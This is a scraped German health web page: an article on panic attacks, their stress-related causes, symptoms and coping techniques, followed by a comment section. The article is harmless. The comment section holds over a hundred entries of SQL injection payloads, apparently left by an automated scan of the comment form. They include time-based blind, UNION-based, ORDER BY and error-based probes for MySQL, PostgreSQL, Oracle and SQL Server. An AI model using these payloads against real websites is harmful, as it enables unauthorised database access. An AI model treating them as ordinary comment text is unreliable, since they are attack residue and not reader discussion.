Panikattacken können in den normalsten Alltagssituationen auftreten. Beim Kochen, auf Arbeit oder beim Spazieren gehen: Panikattacken kommen meist aus dem nichts und können für bis zu einer halben Stunde anhalten. Doch was sind Panikattacken überhaupt? Was zeichnet diese aus? Und was kann man gegen sie unternehmen?
Zu viel Stress hat Panikattacken zur Folge
Unsere Gesellschaft ist immer mehr darauf fokussiert, alles zu geben, sei es im privaten oder Arbeitsleben. Wir sind zu einer Hustle Kultur geworden, wo es wichtig ist, so viel zu arbeiten, wie es nur geht. Erfolgreich zu sein, hat eine große Priorität, besonders im Leben von jungen Menschen. Soziale Medien gaukeln einem das Bild von einem perfekten Leben vor, wo es nur darum geht, gut auszusehen und produktiv zu sehen. Dadurch setzen sich viele junge Menschen einen inneren Druck, welchem sie aber nur bis zu einem bestimmten Maße standhalten können. Die Folge von zu viel Stress sind Depressionen, Burnouts, Panikattacken und andere Formen von Angstzuständen.
Symptome einer Panikattacke
Bei Panikattacken handelt es sich um kurze Episode, in denen der Betroffene sehr stake Angst und Unwohlsein verspürt. Sie kann immer auftreten und ist nicht unbedingt Orts- oder Situationsabhängig. Eine Panikattacke kommt aus dem nichts und hält in den meisten Fällen bis zu 10 Minuten an. Manche Symptome können jedoch auch länger präsent bleiben. Den Höhepunkt der Panikattacke erreicht man meist schon nach wenigen Minuten. Aufgrund von physiologischer Erschöpfung ebbt diese dann nach kurzer Zeit ab.
Die Leitbeschwerden einer Panikattacke sind Herzrasen, ein trockener Mund, Schweißausbrüche, zitternde Hände, Arme und Beine, Atemnot und Hyperventilation, Übelkeit, Schwindel und in manchen Fällen auch die Angst zu sterben.
Jeder fünfte erlebt in Deutschland einmal in seinem Leben eine Panikattacke. Eine Panikstörung kann sich sehr leicht aus immer wieder zurückkehrenden Panikattacken entwickeln. Die Ursache spielt sich in der Psyche des Betroffenen ab. Die Faktoren, die von außen auf einen wirken, sind nur die Auslöser. Der wahre Grund jedoch befindet sich in der Psyche des Menschen. Eine Panikstörung kann das Leben des Betroffenen stark einschränken. Meist haben Betroffene bestimmte Supermärkte, in denen sie einkaufen gehen oder bestimmte Wege, um zu einem Ort zu gelangen. Alles ist darauf ausgerichtet, die Panik nicht auszulösen und wenn es dann doch passieren sollte, schnell einen Weg aus der Umgebung, in der man sich befindet, zu haben. Die Panik und Angst, die sich in einem breit macht, sind extrem. Meist ist jeder Herzschlag zu spüren, die Hände sind verschwitzt, ein Zittern hat einen fest im Griff, der Brustkorb ist wie abgeschnürt und man bekommt keine Luft. Die Angst zu sterben oder einen Herzinfarkt zu erleiden, ist groß. Man will nur weg aus dieser Situation, doch man weiß auch, dass man ihr nicht entkommen kann. Die Panik kann sehr schmerzhaft sein und auch wenn die Panikattacke nach spätestens einer halben Stunde abklingt, so dauert diese für den Betroffenen gefühlt Ewigkeiten an.
Das können Sie bei einer Panikattacke tun
Es ist sehr schwer auf den rationalen Verstand während einer Panikattacke zuzugreifen. Jedoch ist es sehr wichtig, sich daran zu erinnern, dass die Panik nicht für immer anhält und bestenfalls nach 10 Minuten vorüber ist. Steuern Sie Ihren Körper bewusst. Achten Sie auf Ihre Atmung und versuchen Sie die Kontrolle über Ihren Körper zurückzugewinnen. Tief durch die Nase ein und durch den Mund wieder ausatmen hilft sehr. Versuchen Sie, Ihre Aufmerksamkeit auf Ihre Atmung zu lenken.
Setzen Sie Ihre Sinne ein. Was geschieht um Sie herum? Was sehen Sie? Welche Geräusche nehmen Sie wahr? Gibt es bestimmte Gerüche, die Ihnen in der Nase hängen bleiben? Legen Sie Ihren Fokus auf diese kleinen Dinge. Beobachten Sie die Umgebung, in der Sie sich befinden, schauen Sie hoch in den Himmel und versuchen Sie alle Ihre Sinne einzusetzen. Wenn Sie sitzen sollten, dann konzentrieren Sie sich auch auf Ihren Körper und was Sie spüren.
Wenn Sie die Möglichkeit dazu haben sollten, dann sollten Sie sich bewegen. Joggen Sie ein wenig und bleiben Sie in Bewegung. Dies führt dazu, dass ihr Puls steigt und dass Ihr Körper dies als normale Körperreaktion wahrnimmt, und nicht mehr als Bedrohung.
Diese kleinen Dinge können einen großen positiven Einfluss auf Ihre Panikattacke haben. Sollten Sie jedoch öfter unter Panik und akuten Panikattacken leiden, ist es ratsam einen Arzt aufzusuchen, welcher Sie professionell beraten und Sie durch diese Situation begleiten kann.
Comments
Your name WAITFOR DELAY '0:0:5'-- sASt
30.12.2022 16:19
(item.Comment)
Your name) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- IfhA
30.12.2022 16:19
(item.Comment)
Your name) AND (SELECT 9498 FROM(SELECT COUNT(*),CONCAT(0x717a6b7071,(SELECT (ELT(9498=9498,1))),0x716a7a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (2599=2599
30.12.2022 16:18
(item.Comment)
Your name) UNION ALL SELECT NULL,NULL,NULL-- rWDo
30.12.2022 16:19
(item.Comment)
Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
30.12.2022 16:20
(item.Comment)
Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL#
30.12.2022 16:20
(item.Comment)
Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- fNGr
30.12.2022 16:19
(item.Comment)
Your name) AND SLEEP(5) AND (9638=9638
30.12.2022 16:18
(item.Comment)
Your name AND 8419=DBMS_PIPE.RECEIVE_MESSAGE(CHR(75)||CHR(86)||CHR(111)||CHR(112),5)
30.12.2022 16:19
(item.Comment)
Your name);SELECT PG_SLEEP(5)--
30.12.2022 16:18
(item.Comment)
Your name UNION ALL SELECT NULL,NULL,NULL,NULL-- rmRz
30.12.2022 16:19
(item.Comment)
Your name) ORDER BY 1-- qbLA
30.12.2022 16:19
(item.Comment)
Your name);SELECT SLEEP(5)#
30.12.2022 16:18
(item.Comment)
Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- HcBf
30.12.2022 16:19
(item.Comment)
Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
30.12.2022 16:20
(item.Comment)
Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
30.12.2022 16:20
(item.Comment)
Your name AND 7395=CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(107)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (7395=7395) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(122)+CHAR(112)+CHAR(113)))
30.12.2022 16:18
(item.Comment)
Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
30.12.2022 16:20
(item.Comment)
Your name) WAITFOR DELAY '0:0:5' AND (7948=7948
30.12.2022 16:19
(item.Comment)
Your name ORDER BY 1#
30.12.2022 16:20
(item.Comment)
Your name) AND 2272=(SELECT 2272 FROM PG_SLEEP(5)) AND (1052=1052
30.12.2022 16:19
(item.Comment)
Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
30.12.2022 16:20
(item.Comment)
Your name AND SLEEP(5)-- yqXM
30.12.2022 16:19
(item.Comment)
Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- Bxut
30.12.2022 16:19
(item.Comment)
Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UwTK
30.12.2022 16:19
(item.Comment)
Your name ORDER BY 8053#
30.12.2022 16:20
(item.Comment)
Your name) UNION ALL SELECT NULL,NULL,NULL,NULL#
30.12.2022 16:19
(item.Comment)
Your name UNION ALL SELECT NULL,NULL,NULL,NULL#
30.12.2022 16:20
(item.Comment)
Your name) AND 7395=CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(107)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (7395=7395) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(122)+CHAR(112)+CHAR(113))) AND (8778=8778
30.12.2022 16:18
(item.Comment)
Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- pxXi
30.12.2022 16:19
(item.Comment)
Your name) ORDER BY 1#
30.12.2022 16:19
(item.Comment)
Your name) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- qYPY
30.12.2022 16:19
(item.Comment)
Your name AND 8029=CAST((CHR(113)||CHR(122)||CHR(107)||CHR(112)||CHR(113))||(SELECT (CASE WHEN (8029=8029) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(106)||CHR(122)||CHR(112)||CHR(113)) AS NUMERIC)-- cIrr
30.12.2022 16:18
(item.Comment)
Your name ORDER BY 6733#
30.12.2022 16:20
(item.Comment)
Your name);WAITFOR DELAY '0:0:5'--
30.12.2022 16:18
(item.Comment)
Your name) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- LBqC
30.12.2022 16:19
(item.Comment)
Your name UNION ALL SELECT NULL,NULL,NULL,NULL#
30.12.2022 16:20
(item.Comment)
Your name ORDER BY 1#
30.12.2022 16:20
(item.Comment)
Your name..(,.,""',
30.12.2022 16:18
(item.Comment)
Your name WAITFOR DELAY '0:0:5'
30.12.2022 16:19
(item.Comment)
Your name UNION ALL SELECT NULL-- oBLB
30.12.2022 16:19
(item.Comment)
Your name) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
30.12.2022 16:20
(item.Comment)
Your name AND (SELECT 9498 FROM(SELECT COUNT(*),CONCAT(0x717a6b7071,(SELECT (ELT(9498=9498,1))),0x716a7a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
30.12.2022 16:18
(item.Comment)
Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- ClxM
30.12.2022 16:19
(item.Comment)
Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- ILpV
30.12.2022 16:19
(item.Comment)
Your name) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#
30.12.2022 16:20
(item.Comment)
Your name) ORDER BY 1707-- bHSQ
30.12.2022 16:19
(item.Comment)
Your name ORDER BY 1-- wzkZ
30.12.2022 16:19
(item.Comment)
Your name) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL#
30.12.2022 16:20
(item.Comment)
Your name AND 2377=8379
30.12.2022 16:18
(item.Comment)
Your name) UNION ALL SELECT NULL,NULL,NULL#
30.12.2022 16:19
(item.Comment)
Your name AND 8029=CAST((CHR(113)||CHR(122)||CHR(107)||CHR(112)||CHR(113))||(SELECT (CASE WHEN (8029=8029) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(106)||CHR(122)||CHR(112)||CHR(113)) AS NUMERIC)
30.12.2022 16:18
(item.Comment)
Your name) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL#
30.12.2022 16:20
(item.Comment)
Your name) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
30.12.2022 16:20
(item.Comment)
Your name AND 2104=2104-- dlQx
30.12.2022 16:18
(item.Comment)
Your name
30.12.2022 16:16
(item.Comment)
Your name UNION ALL SELECT NULL,NULL-- PlLG
30.12.2022 16:19
(item.Comment)
Your name) AND 2037=9732 AND (9741=9741
30.12.2022 16:18
(item.Comment)
Your name UNION ALL SELECT NULL,NULL,NULL-- oNZa
30.12.2022 16:19
(item.Comment)
Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
30.12.2022 16:20
(item.Comment)
Your name UNION ALL SELECT NULL-- qyBN
30.12.2022 16:19
(item.Comment)
Your name) ORDER BY 8329#
30.12.2022 16:19
(item.Comment)
Your name UNION ALL SELECT NULL,NULL,NULL#
30.12.2022 16:20
(item.Comment)
Your name UNION ALL SELECT NULL#
30.12.2022 16:20
(item.Comment)
Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- BEbG
30.12.2022 16:19
(item.Comment)
Your name
30.12.2022 16:16
(item.Comment)
Your name) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- sEEU
30.12.2022 16:19
(item.Comment)
Your name;SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(101)||CHR(70)||CHR(84)||CHR(119),5) FROM DUAL--
30.12.2022 16:18
(item.Comment)
Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL#
30.12.2022 16:20
(item.Comment)
Your name) UNION ALL SELECT NULL#
30.12.2022 16:19
(item.Comment)
Your name AND 8419=DBMS_PIPE.RECEIVE_MESSAGE(CHR(75)||CHR(86)||CHR(111)||CHR(112),5)-- gENc
30.12.2022 16:19
(item.Comment)
Your name UNION ALL SELECT NULL,NULL,NULL,NULL-- Bvxy
30.12.2022 16:19
(item.Comment)
Your name) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- XsZp
30.12.2022 16:19
(item.Comment)
Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL#
30.12.2022 16:20
(item.Comment)
Your name;WAITFOR DELAY '0:0:5'--
30.12.2022 16:18
(item.Comment)
Your name'YIRyqttGLvax
30.12.2022 16:18
(item.Comment)
Your name AND SLEEP(5)
30.12.2022 16:18
(item.Comment)
Your name UNION ALL SELECT NULL,NULL#
30.12.2022 16:20
(item.Comment)
Your name) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
30.12.2022 16:20
(item.Comment)
Your name) UNION ALL SELECT NULL,NULL-- IqBp
30.12.2022 16:19
(item.Comment)
Your name UNION ALL SELECT NULL,NULL#
30.12.2022 16:20
(item.Comment)
Your name AND 2901=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(107)||CHR(112)||CHR(113)||(SELECT (CASE WHEN (2901=2901) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(106)||CHR(122)||CHR(112)||CHR(113)||CHR(62))) FROM DUAL)-- hWbw
30.12.2022 16:18
(item.Comment)
Your name UNION ALL SELECT NULL,NULL,NULL#
30.12.2022 16:20
(item.Comment)
Your name) AND 8419=DBMS_PIPE.RECEIVE_MESSAGE(CHR(75)||CHR(86)||CHR(111)||CHR(112),5) AND (9760=9760
30.12.2022 16:19
(item.Comment)
Your name ORDER BY 1-- huNj
30.12.2022 16:19
(item.Comment)
Your name) AND 2104=2104 AND (2409=2409
30.12.2022 16:18
(item.Comment)
Your name AND 7395=CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(107)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (7395=7395) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(122)+CHAR(112)+CHAR(113)))-- zEqS
30.12.2022 16:18
(item.Comment)
Your name) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- xDrP
30.12.2022 16:19
(item.Comment)
Your name UNION ALL SELECT NULL,NULL-- eWgY
30.12.2022 16:19
(item.Comment)
Your name UNION ALL SELECT NULL#
30.12.2022 16:20
(item.Comment)
Your name) UNION ALL SELECT NULL,NULL,NULL,NULL-- ocDc
30.12.2022 16:19
(item.Comment)
Your name);SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(101)||CHR(70)||CHR(84)||CHR(119),5) FROM DUAL--
30.12.2022 16:18
(item.Comment)
Your name ORDER BY 9955-- Peyq
30.12.2022 16:19
(item.Comment)
Your name;SELECT PG_SLEEP(5)--
30.12.2022 16:18
(item.Comment)
Your name) UNION ALL SELECT NULL-- opCJ
30.12.2022 16:19
(item.Comment)
Your name;SELECT SLEEP(5)#
30.12.2022 16:18
(item.Comment)
Your name AND 2104=2104
30.12.2022 16:18
(item.Comment)
Your name AND (SELECT 9498 FROM(SELECT COUNT(*),CONCAT(0x717a6b7071,(SELECT (ELT(9498=9498,1))),0x716a7a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- ZvFH
30.12.2022 16:18
(item.Comment)
Your name) AND 2901=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(107)||CHR(112)||CHR(113)||(SELECT (CASE WHEN (2901=2901) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(106)||CHR(122)||CHR(112)||CHR(113)||CHR(62))) FROM DUAL) AND (7730=7730
30.12.2022 16:18
(item.Comment)
Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- lNIB
30.12.2022 16:19
(item.Comment)
Your name AND 2901=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(107)||CHR(112)||CHR(113)||(SELECT (CASE WHEN (2901=2901) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(106)||CHR(122)||CHR(112)||CHR(113)||CHR(62))) FROM DUAL)
30.12.2022 16:18
(item.Comment)
Your name AND 2272=(SELECT 2272 FROM PG_SLEEP(5))
30.12.2022 16:19
(item.Comment)
Your name UNION ALL SELECT NULL,NULL,NULL-- KgDQ
30.12.2022 16:19
(item.Comment)
Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#
30.12.2022 16:20
(item.Comment)
Your name) AND 8029=CAST((CHR(113)||CHR(122)||CHR(107)||CHR(112)||CHR(113))||(SELECT (CASE WHEN (8029=8029) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(106)||CHR(122)||CHR(112)||CHR(113)) AS NUMERIC) AND (7335=7335
30.12.2022 16:18
(item.Comment)
Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- ukhM
30.12.2022 16:19
(item.Comment)
Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- ZTWS
30.12.2022 16:19
(item.Comment)
Your name AND 2970=5052-- sOyD
30.12.2022 16:18
(item.Comment)
Your name ORDER BY 4552-- KgDU
30.12.2022 16:19
(item.Comment)
Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#
30.12.2022 16:20
(item.Comment)
Your name
30.12.2022 16:16
(item.Comment)
Your name AND 2272=(SELECT 2272 FROM PG_SLEEP(5))-- OGeU
30.12.2022 16:19
(item.Comment)
Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL#
30.12.2022 16:20
(item.Comment)
Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- clBM
30.12.2022 16:19
(item.Comment)
Your name) UNION ALL SELECT NULL,NULL#
30.12.2022 16:19
(item.Comment)